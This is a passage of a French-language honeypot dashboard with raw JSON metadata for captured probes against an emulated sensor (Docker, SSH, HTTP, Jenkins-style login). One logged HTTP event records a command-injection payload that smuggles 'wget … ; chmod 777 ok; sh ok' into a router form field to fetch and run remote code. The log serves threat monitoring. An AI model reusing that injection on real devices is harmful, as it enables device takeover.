"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "docker",
"service_banner": "Docker 24.0.5",
"service_os": "linux",
"dst_port": "2375"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"docker_api_probe",
"docker_emulated",
"docker_payload",
"http_get_probe",
"net_docker_api_probe"
],
"behavior_alert_count": 2,
"behavior_priority": 84
}
|
|
|
TCP |
22 · SSH
|
ssh
|
Sonde port 22/TCP
port 22 tcp · via SSH:22 · (sonde / probe)
|
Élevée
|
Moyen · 42
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
SSH
WAF
—
Recommandation
Surveiller
Tags
net_ssh_probe
ssh_banner_grab
ssh_emulated
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
22
Chemin / cible
—
Preuve honeypot — Sonde port 22/TCP
Connexion détectée sur le port 22 (TCP) du capteur simulé.
Pourquoi cette classification : Bannière client SSH reçue · confiance 55%
Confiance classification
55%
Risque capteur
Moyen
· 42
Confiance : Confiance 55 % — Classification nommée non retenue — preuves insuffisantes
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "5353482d322e302d4f70656e5353485f382e3470312044656269616e2d352b646562313175330d0a",
"emulator_response_len": 40,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "well_known",
"org": "Vpsvault.host Ltd",
"service": "ssh",
"app_proto": "ssh",
"asn": 215925,
"country": "US",
"dst_port": 22,
"risk_waf": 8,
"risk_classification": 38,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 36,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0
},
"risk_score": 42,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "2fd70191c11cf3311d4327222cbdc90f08e4fc6b",
"event_fingerprint": "bc4e3fa786c83e0db7c1c892cb0c288f6b14388f",
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"confidence": 0.55,
"classification_confidence": 0.55,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"named_classification_skipped": true,
"named_candidate": "ssh_probe",
"service_name": "ssh",
"risk_confidence_factor": 55,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "4d94c79baddfcb6b1b3c2c5fdc6c79e1"
},
"target_context": {
"dst_port": 22,
"service": "ssh",
"service_name": "ssh",
"risk_score": 42
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "253e0824820a41dd714cfbe0c15753d50a2181da",
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"site_display": {
"classification": null,
"classification_reason": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"classification_reason_label_fr": "Banni\u00e8re client SSH re\u00e7ue \u00b7 confiance 55%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 42\/100",
"confidence_pct": 55,
"confidence_breakdown": {
"waf": 8,
"classification": 38,
"behavior": 0,
"geo": 0,
"protocol": 36,
"novelty": 0,
"risk_score": 42
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": "ssh",
"service_label_fr": "SSH",
"dst_port": 22,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "OpenSSH_8.9p1 Ubuntu",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"port": 22,
"service": "ssh",
"service_label_fr": "SSH"
},
"attack_vector": "port 22 tcp \u00b7 via SSH:22 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "22 \u00b7 SSH",
"emulator_service": "ssh",
"confidence_reason": "Confiance 55 % \u2014 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes",
"confidence_factors_fr": "Confiance 55 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "ssh",
"service_banner": "OpenSSH_8.9p1 Ubuntu",
"service_os": "linux",
"dst_port": "22"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"net_ssh_probe",
"ssh_banner_grab",
"ssh_emulated"
]
}
|
|
|
TCP |
8080 · HTTP
|
http
|
Injection de commande
cmd injection · via HTTP:8080 · (tentative d'exploit) · → /goform/set_LimitClient_cfg
|
Élevée
|
Élevé · 81
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /goform/set_LimitClient_cfg UA Go-http-client/1.1
Émulateur
HTTP
WAF
33
Recommandation
Investiguer
Tags
950319:lfi-14
950327:rce-0
950407:ssrf-3
950468:nosqli-3
Cible HTTP
POST
/goform/set_LimitClient_cfg
TLS SNI
—
Capteur
paris-1
|
Méthode
POST
Port
8080
Chemin / cible
/goform/set_LimitClient_cfg
Pourquoi cette classification : Injection de commande (tag lfi-14) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 81
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1
Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0146
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /goform/set_LimitClient_cfg HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
lfi-14
rce-0
ssrf-3
nosqli-3
Payload (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Go-http-client/1.1
Content-Length: 100
Cookie: u
Requête brute (extrait)
POST /goform/set_LimitClient_cfg HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Go-http-client/1.1 Content-Length: 100 Cookie: user=admin Accept-Encoding: gzip time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://5.182.210.61/ok; chmod 777 ok; sh ok; r
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "11e5f78f4036aff2c472248972fe32123c6ace43",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 264,
"payload_entropy": 5.172736270692932,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 81,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "bfd95dd1664d7964b6f51fe2c5f2170cdb8bc751",
"event_fingerprint": "f90f35827364d62ec2c72d5e93215efbc4708ab9",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 294,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c87f0e46e5e0a01593c46f662710da0",
"path_pattern_hash": "f2a8d0719ad1915fd61c32b0d79b0a33"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 81
},
"payload_preview": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"evidence": {
"method": "POST",
"path": "\/goform\/set_LimitClient_cfg",
"user_agent": "Go-http-client\/1.1",
"waf_tags": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"request_sample": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: user=admin\r\nAccept-Encoding: gzip\r\n\r\ntime1=00:00-00:00&time2=00:00-00:00&mac=;wget http:\/\/5.182.210.61\/ok; chmod 777 ok; sh ok; r",
"payload_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "88fbb60c178c1bfb340454407730cc261dbb3eb5",
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-14) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 81\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 81
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 81,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0146"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0146"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/goform\/set_LimitClient_cfg",
"request_line": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/goform\/set_LimitClient_cfg",
"evidence_snippet": "POST \/goform\/set_LimitClient_cfg HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Go-http-client\/1.1\r\nContent-Length: 100\r\nCookie: u",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950319:lfi-14",
"950327:rce-0",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_jwt_body",
"http_probe_goform",
"http_sensitive_path",
"http_ssrf_body",
"http_ua_suspicious",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 72
}
|
|
|
TCP |
18080 · MONERO P2P
|
monero-p2p
|
imap bruteforce
imap bruteforce · via MONERO P2P:18080 · (sonde / probe)
|
Élevée
|
Moyen · 41
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1110
TA0007
TA0001
Protocole
Émulateur
MONERO-P2P
WAF
—
Recommandation
Surveiller
Tags
http_get_probe
imap_probe
monero_p2p_emulated
monero_p2p_payload
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
18080
Chemin / cible
—
Service
MONERO P2P
Payload
GET /login HTTP/1.1 Host: 62.3.50.33:18080 User-Agent: Go-http-client/1.1 Connection: close Accept-Encoding: gzip
Pourquoi cette classification : Type « imap_bruteforce » (signaux protocolaires) · confiance 95%
Confiance classification
95%
Risque capteur
Moyen
· 41
Confiance : Confiance 95 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Email Imap Login
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:18080
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "01110101010101010000000000000000",
"emulator_response_len": 16,
"bytes_in": 121,
"payload_entropy": 4.881056474106557,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "monero-p2p",
"app_proto": "monero-p2p",
"asn": 215925,
"country": "US",
"dst_port": 18080,
"risk_waf": 8,
"risk_classification": 66,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 40,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.9,
"risk_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25
},
"risk_score": 41,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "e33e7bea198ba501d7b0363e06a121562f9b62d8",
"event_fingerprint": "9805bd2d8e2babb93b4750898ffa60f92edfba86",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 0.95,
"classification_confidence": 0.95,
"precision_score": 76,
"precision_signals": [
"INT-EMAIL-imap-login"
],
"kb_rule_ids": [
"INT-EMAIL-imap-login"
],
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"named_classification_skipped": false,
"service_name": "monero-p2p",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "7f5ae21646f65d736d23178a9d7a6b9a",
"path_pattern_hash": "d01bbf3f52d5029936b2dffb0f5e856f"
},
"target_context": {
"dst_port": 18080,
"service": "monero-p2p",
"service_name": "monero-p2p",
"risk_score": 41
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1110"
],
"mitre": "T1110",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2a5f0ade23d59de46b82f1e313b25205af9fcc71",
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab imap_bruteforce \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 41\/100",
"confidence_pct": 95,
"confidence_breakdown": {
"waf": 8,
"classification": 66,
"behavior": 0,
"geo": 0,
"protocol": 40,
"novelty": 25,
"risk_score": 41
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 41,
"risk_label": "Moyen",
"service_name": "monero-p2p",
"service_label_fr": "MONERO P2P",
"dst_port": 18080,
"protocol_emulated": true,
"tags_summary": [
"INT-EMAIL-imap-login"
],
"tags_summary_labels_fr": [
"Email Imap Login"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1110",
"mitre_technique": "T1110",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-monero-p2p",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"port": 18080,
"service": "monero-p2p",
"service_label_fr": "MONERO P2P"
},
"attack_vector": "imap bruteforce \u00b7 via MONERO P2P:18080 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "monero_p2p",
"service_banner": "honeypot-monero-p2p",
"service_os": "linux",
"dst_port": "18080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_get_probe",
"imap_probe",
"monero_p2p_emulated",
"monero_p2p_payload",
"net_monero_probe"
]
}
|
|
|
TCP |
8888 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8888 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8888
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
HTTP alt 8888 probe
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8888
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "25a58e7d7f0ed40aadf0d51b038172ea9ccc8435",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.871806509219084,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8888,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "8fecaa4ef78fb8e77169b85bb67faba623cae0c7",
"event_fingerprint": "0b09f788301fe2b2d89591d964f79d26de504c05",
